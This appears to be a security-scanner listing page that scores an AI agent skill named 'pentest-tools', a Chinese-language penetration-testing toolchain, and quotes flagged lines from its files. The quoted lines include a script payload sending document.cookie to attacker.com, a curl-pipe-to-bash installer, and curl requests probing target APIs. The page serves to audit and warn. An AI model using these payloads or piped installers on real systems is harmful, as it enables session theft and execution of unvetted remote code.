← All skills
pentest-tools
65 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By skillmds/skillmd (GitHub) · coding · 143 stars · scanned at commit 4467dd0
主动渗透测试工具链。覆盖信息收集、端口扫描、漏洞扫描、Web 渗透、SQL 注入、目录爆破、密码破解等场景。
通过 MCP server(pentestMCP / mcp-security-hub)将 20+ 安全工具暴露给 AI agent。
触发关键词:渗透测试、端口扫描、Nmap、漏洞扫描、Nuclei、SQL 注入、SQLMap、目录爆破、FFUF、密码破解、Hashcat、信息收集、子域名、Web 渗透、ZAP、Burp。
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 18 places.
Show 15 more
- plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 233
| SQLMap | ✓ | `pip install sqlmap` 或 git clone | Python | - plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 239
| Impacket | ✓ | `pip install impacket` | Python | - plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 240
| ProxyCat | ✓ | `pip install proxycat` | 代理池中间件(批量扫描防封) | - plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 242
| Reqable MCP | ✓ | `npx -y reqable-mcp-server@1.0.1` | 需先手动安装 Reqable 桌面客户端 | - plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 261
- Nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - plugins/mcp-security-audit-pipeline/skills/pentest-tools/SKILL.md, line 262
- SQLMap: pip install sqlmap - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/burpsuite-mcp-guide.md, line 708
- Linux / Kali:`sudo apt install burpsuite` 或从 https://portswigger.net/burp/releases 下载 .jar - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 15
- **安装**:`apt install mcp-kali-server` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 29
- **安装**:`apt install metasploitmcp` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 42
- **安装**:`apt install hexstrike-ai` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/kali-mcp-ecosystem.md, line 51
- **安装**:`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/nuclei-guide-2026.md, line 12
- 已集成到 Kali 官方仓库(`apt install nuclei`) - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/nuclei-guide-2026.md, line 18
apt install nuclei - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/nuclei-guide-2026.md, line 20
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 1 place.
Sends data to these websites: target, api.ipify.org, crt.sh, raw.githubusercontent.com, api.example, app.example, attacker.com, api.target.com, target.com
The author does not mention this.
Found in 12 places.
Show 9 more
- plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/msf-protocol.md, line 133
- 公网 IP 不知道时:`curl -s https://api.ipify.org` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/network-attack-defense.md, line 37
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/pentest-ai-agents-matrix.md, line 11
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/recon-pipeline.md, line 35
curl -sS -D - -o NUL --max-time 15 \ - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/recon-pipeline.md, line 43
curl -sS --max-time 15 \ - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/recon-pipeline.md, line 127
-ReproCommand 'curl -s "https://api.example/app/v1/clock" -A "Mozilla/5.0" -H "Origin: https://app.example" -H "Referer: https://app.example/"' ` - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/web-attack-cheatsheet.md, line 79
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/web-attack-cheatsheet.md, line 192
curl -s -H "Auth: TOKEN" "https://api.target.com/users/$id" | grep -v "403" - plugins/mcp-security-audit-pipeline/skills/pentest-tools/references/web-attack-cheatsheet.md, line 320
fetch('https://target.com/api/change-email', {
Changes files outside its own folder
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Other copies in this repository
skillmds/skillmd has 1 more folder with a skill named pentest-tools. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'pentest-tools' ] || [ -L ~/.agents/skills/'pentest-tools' ]; then echo 'A skill folder named pentest-tools already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/skillmds/skillmd' "$d" && git -C "$d" checkout --quiet '4467dd0debe8f189ba78142ee57ec42aea84e623' -- 'plugins/mcp-security-audit-pipeline/skills/pentest-tools' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/mcp-security-audit-pipeline/skills/pentest-tools' ~/.agents/skills/'pentest-tools' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentest-tools' ~/.claude/skills/'pentest-tools' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for skillmds/skillmd shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/skillmds/skillmd/)
Score history
| Date | Version | Score |
|---|
| 2026-11-09 | 4467dd0 | 65 |
| 2026-11-07 | 1b0ba86 | 95 |